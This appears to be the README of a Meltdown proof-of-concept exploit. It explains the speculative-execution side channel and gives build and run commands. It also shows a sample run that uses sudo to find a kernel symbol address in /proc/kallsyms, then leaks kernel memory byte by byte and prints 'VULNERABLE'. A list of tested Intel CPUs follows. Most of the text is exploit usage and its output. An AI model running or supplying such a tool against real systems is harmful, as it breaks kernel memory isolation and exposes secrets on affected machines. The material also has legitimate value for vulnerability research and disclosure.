Speculative optimizations execute code in a non-secure manner leaving data traces in microarchitecture such as cache.
Refer to the paper by Lipp et. al 2017 for details: https://meltdownattack.com/meltdown.pdf.
Can only dump linux_proc_banner at the moment, since requires accessed memory
to be in cache and linux_proc_banner is cached on every read from
/proc/version. Might work with prefetch.
Build with make, run with ./run.sh.
Can't defeat KASLR yet, so you may need to enter your password to find
linux_proc_banner in the /proc/kallsyms (or do it manually).
Flush+Reload and target array approach taken from spectre paper https://spectreattack.com/spectre.pdf implemented following clues from https://cyber.wtf/2017/07/28/negative-result-reading-kernel-memory-from-user-mode/.
Pandora's box is open.
Result:
$ make
cc -O2 -msse2 -c -o meltdown.o meltdown.c
cc meltdown.o -o meltdown
$ ./run.sh
looking for linux_proc_banner in /proc/kallsyms
protected. requires root
+ find_linux_proc_banner /proc/kallsyms sudo
+ sudo awk
/linux_proc_banner/ {
if (strtonum("0x"$1))
print $1;
exit 0;
} /proc/kallsyms
+ linux_proc_banner=ffffffffa3e000a0
+ set +x
cached = 29, uncached = 271, threshold 88
read ffffffffa3e000a0 = 25 %
read ffffffffa3e000a1 = 73 s
read ffffffffa3e000a2 = 20
read ffffffffa3e000a3 = 76 v
read ffffffffa3e000a4 = 65 e
read ffffffffa3e000a5 = 72 r
read ffffffffa3e000a6 = 73 s
read ffffffffa3e000a7 = 69 i
read ffffffffa3e000a8 = 6f o
read ffffffffa3e000a9 = 6e n
read ffffffffa3e000aa = 20
read ffffffffa3e000ab = 25 %
read ffffffffa3e000ac = 73 s
read ffffffffa3e000ad = 20
read ffffffffa3e000ae = 28 (
read ffffffffa3e000af = 62 b
read ffffffffa3e000b0 = 75 u
read ffffffffa3e000b1 = 69 i
read ffffffffa3e000b2 = 6c l
read ffffffffa3e000b3 = 64 d
read ffffffffa3e000b4 = 64 d
read ffffffffa3e000b5 = 40 @
VULNERABLE
VULNERABLE ON
4.10.0-42-generic #46~16.04.1-Ubuntu SMP Mon Dec 4 15:57:59 UTC 2017 x86_64
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 158
model name : Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz
stepping : 9
microcode : 0x5e
cpu MHz : 3499.316
cache size : 6144 KB
physical id : 0
If it compiles but fails with Illegal instruction then either your hardware
is very old or it is a VM. Try compiling with:
$ make CFLAGS=-DHAVE_RDTSCP=0 clean allprocessor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 158
model name : Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz
stepping : 9
microcode : 0x5e
cpu MHz : 3685.083
cache size : 6144 KB
physical id : 0
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 94
model name : Intel(R) Core(TM) i7-6700 CPU @ 3.40GHz
stepping : 3
microcode : 0x7c
cpu MHz : 3975.078
cache size : 8192 KB
physical id : 0
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 42
model name : Intel(R) Core(TM) i5-2410M CPU @ 2.30GHz
stepping : 7
microcode : 0x29
cpu MHz : 802.697
cache size : 3072 KB
physical id : 0
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 79
model name : Intel(R) Xeon(R) CPU E5-2650 v4 @ 2.20GHz
stepping : 1
microcode : 0x1
cpu MHz : 2199.998
cache size : 30720 KB
physical id : 0
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 69
model name : Intel(R) Core(TM) i3-4010U CPU @ 1.70GHz
stepping : 1
microcode : 0x16
cpu MHz : 800.062
cache size : 3072 KB
physical id : 0
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 58
model name : Intel(R) Core(TM) i5-3230M CPU @ 2.60GHz
stepping : 9
microcode : 0x1c
cpu MHz : 2593.898
cache size : 3072 KB
physical id : 0